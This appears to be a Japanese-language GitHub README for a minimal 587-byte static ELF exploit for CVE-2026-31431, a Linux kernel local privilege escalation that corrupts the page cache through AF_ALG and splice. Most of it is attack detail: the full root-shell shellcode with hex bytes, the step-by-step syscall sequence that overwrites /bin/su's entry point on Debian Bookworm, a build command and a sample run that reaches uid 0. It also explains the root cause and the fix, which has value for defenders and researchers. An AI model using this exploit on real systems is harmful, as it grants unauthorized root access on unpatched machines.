
# CVE-2026-31431 向けの最小587バイト静的ELFエクスプロイト。AF_ALGスプライスページキャッシュ破壊を介してローカル権限昇格を実現。libcやランタイム依存なし。
このバグは私が発見したものではありません。クレジットはXint Code / Theoriに帰属します。
このリポジトリは、エクスプロイトを可能な限り小さくするという私の試みです - 手書きのx86_64 ELFで、完全なLPEを587バイトで実行します。libcなし、リンカなし、ランタイムなし。NASMと頑固さだけです。
要するに、カーネルはAF_ALG + spliceを通じて、読み取り可能な任意のファイルのページキャッシュへの書き込みプリミティブを提供します。それをsetuidバイナリのエントリポイントに向け、シェルコードを書き込み、バイナリをexecし、rootを取得します。
サイズの文脈について: 元の公開されたCopy Failの投稿には、732バイトと測定された小さなPythonバージョンが同梱されていました。それは非常に素晴らしいですが、それでもPythonランタイムが存在することに依存しています。さらに小さいのはhttps://kopy.failの524バイトです。しかしこれは生の静的ELFです: インタプリタなし、libcなし、リンカなし、動的ローダなし。(母はこれがクールだと言っています)
| CVE | CVE-2026-31431 |
| バグクラス | spliceエイリアシングによるページキャッシュ破損 |
| 根本原因 | af_alg_sendpage / spliceがAEADリクエスト内でページキャッシュページをcrypto scatter-gather出力にエイリアスする |
| コンポーネント | crypto/af_alg.c + crypto/algif_aead.c |
| 影響 | 読み取り可能な任意のファイルのページキャッシュへの制御されたバイトの書き込み |
| 必要条件 | ローカルユーザー、到達可能なAF_ALG/AEADサポート、読み取り可能なsetuidターゲット |
| エクスプロイト | 587バイトの静的ELF (x86_64)、単一ファイル、依存関係ゼロ |
AF_ALGはユーザースペースがソケット上でカーネル暗号化を行うことを可能にします。authencesnのようなAEAD暗号の場合、カーネルはMSG_MOREを指定したsendmsgを介してデータを受け入れ、その後ファイルディスクリプタからさらにデータをspliceできます。
呪われた部分: ファイルをspliceすると、カーネルはファイルのページキャッシュページをcrypto scatter-gatherリストに直接ピン留めします。その後、AEAD操作は出力をそれらの同じページに書き戻します。カーネルはcryptoに読み取りバッファを与えたと考えます。Cryptoは書き込みバッファを得たと考えます。誰もコピーしません。
AADメタデータとして供給するバイトは、ページキャッシュを通じて見えるようになります。そのファイルの後続の読み取り - 任意のプロセス、任意のユーザー、suid execを含む - は破損したデータを見ることになります。ディスク上のファイルは変更されません。メモリ内のページキャッシュビューのみが変更されます。
Copy Failは、AF_ALGの衣をまとったページキャッシュ/COWファミリーの呪いです。Dirty COW (CVE-2016-5195)と同じ系統です - 「カーネルが読み取りのみ可能なはずのものへの書き込みを許可した」 - ただし、madvise/writeの競合ではなくcrypto spliceパスを通じてです。
ターゲット: Debian Bookworm上の/bin/su (kernelCTF rootfsを含む)。ELFエントリポイントはファイルオフセット0x3910にあります。
28バイトのシェルコードがrootシェルドロッパーに変わります:
; setuid(0) - 7バイト
31 ff xor edi, edi
6a 69 push 105
58 pop rax
0f 05 syscall
; execve("/bin/sh", NULL, NULL) - 21バイト
99 cdq
31 f6 xor esi, esi
48 bb 2f 62 69 6e 2f 73 68 00 movabs rbx, "/bin/sh\0"
53 push rbx
54 push rsp
5f pop rdi
6a 3b push 59
58 pop rax
0f 05 syscall
AEADプリミティブは操作ごとに4バイトしか提供しません - AADの32ビットチャンクがspliceオフセットに配置されます。28バイトのシェルコード ÷ 4 = カーネルcryptoスタックを7回通過します。各反復:
socket(AF_ALG) + authencesn(hmac(sha1),cbc(aes))でbindsetsockoptでキーと認証タグサイズを設定acceptでリクエストfdを取得MSG_MOREでsendmsg - 8バイトのiovには4バイトのAADフィラー + 4バイトのシェルコードが含まれる/bin/suからリクエストfdへsplice (ページキャッシュページを配置)recvfrom - AEAD処理をトリガーし、ページキャッシュを破損7回の反復すべての後、execve("/bin/su")。カーネルは破損したページキャッシュからそれをロードします。実行は上書きされたエントリポイントにジャンプします。Rootシェル。
合計587バイト。そのうち120バイトはELFヘッダーです (それなしではカーネルはロードしません)。したがって、実際のエクスプロイトロジックは467バイトのマシンコード + データです。
ELFヘッダー内の配置は次のとおりです:
Offset Field Actual use
------ ----- ----------
0x00 e_ident[0:8] magic + ELF class (必須)
0x08 e_ident[8:16] cryptoキーマテリアル (カーネルはこれらのバイトを無視)
0x28 e_shoff "/bin/su\0"文字列 (カーネルはET_EXECでこれを無視)
カーネルはe_ident[0:7]、e_type、e_machine、e_entry、e_phoff、e_phnum、およびphdr自体のみを参照します。それ以外はすべて自由な不動産です。
その他のサイズ削減テクニック:
push imm8 / pop rax / syscallとしてエンコード (それぞれ3バイト)最初の動作バージョンは584バイトでした。2番目のsplice呼び出しにmov ax, 275を使用していました (mov eax, 275より2バイト短い)。これは最初のspliceが常に成功するという賭けです - 負のエラーを返した場合、raxの上位48ビットは設定されたままになり、mov ax, 275は下位16ビットのみを上書きします。すると2番目のsplice syscall番号はガベージになります。
私のテストカーネルでは常に動作しました。しかし「テストで常に動作する」ことはバグを出荷する正当な理由にはなりません。メモリプレッシャー下でspliceがEAGAINを返すシステムでこれに遭遇した場合、エクスプロイトは何が悪かったかの兆候なしにセグフォルトするだけです。3バイト余分に消費しました。
また、最終的なexecveの前にxor esi, esiを追加する必要がありました。recvfromがrsiをバッファアドレスで上書きするためです。これがないと、execveはガベージのargvポインタを取得します。もう1バイト。
nasm -f bin -o copy_fail_v3 copy_fail_v3.asm && chmod +x copy_fail_v3
NASMが必要です。エクスプロイトバイナリを直接生成します - リンクステップはありません。
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ./copy_fail_v3
# id
uid=0(root) gid=0(root) groups=0(root)
1秒未満で完了します。成功時の出力はありません - ただrootシェルだけです。
CONFIG_CRYPTO_USER_API_AEAD (組み込みまたはロードされたモジュール) と、algif_aeadの未修正のインプレースspliceパスが必要です。問題のあるコードパスは2017年の最適化に遡ります。ディストリビューションのカーネル設定とパッチステータスを確認してください。
修正はインプレースパスを無効化し、spliceソースページをcrypto scatter-gatherリストにエイリアスする代わりにコピーします。ページキャッシュの分離が復元されます。
これはKernelCTF/ラボの成果物です。所有しているシステム、または明示的なテスト許可があるシステムでのみ実行してください。Linuxボックスを防御している場合は、カーネルにパッチを適用するか、AF_ALG/algif_aeadモジュールのロードを制限してください。
Daniel Wade - GitHub · Twitter/X · Bluesky · nadsec.online